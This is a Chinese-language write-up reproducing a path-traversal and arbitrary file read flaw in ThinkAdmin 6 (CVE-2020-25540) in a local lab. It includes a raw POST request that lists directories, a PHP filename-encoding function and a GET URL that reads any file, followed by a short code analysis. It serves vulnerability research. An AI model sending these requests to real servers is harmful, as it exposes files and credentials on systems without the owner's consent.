简介
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统
漏洞概述
ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。
影响版本
ThinkAdmin版本小于 ≤ 2020.08.03.01
环境搭建
使用phpstudy进行安装
设置阿里云 Composer 代理
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
ThinkAdmin下载地址
https://github.com/179776823/ThinkAdmin
进入ThinkAdmin目录进行安装
cd ThinkAdmin-6
composer install
php进行运行
php think run
http://127.0.0.1:8000打开页面
漏洞复现
列目录
poc
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
rules=%5b%22%2e%5c%2f%22%5d
任意文件读取
在根目录新建1.txt文件
使用加密函数对1.txt文件名进行加密
function encode($content){ list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars;}
得到数据加密数据1d1a383c38
http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38
漏洞分析
列目录分析
ThinkAdmin-6appadmincontrollerapiUpdate.php文件中
node函数把post传过来的rules给getlist()函数
跳转到getlist函数
循环读取改目录下的所有文件
传个["./"]给rules即可获取
任意文件读取分析
ThinkAdmin-6appadmincontrollerapiUpdate.php文件中
get函数,解密后读取
根据文件名加密后传入即可获取base64加密的内容,解密即可
本文始发于微信公众号(锋刃科技):ThinkAdmin漏洞(CVE-2020-25540)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论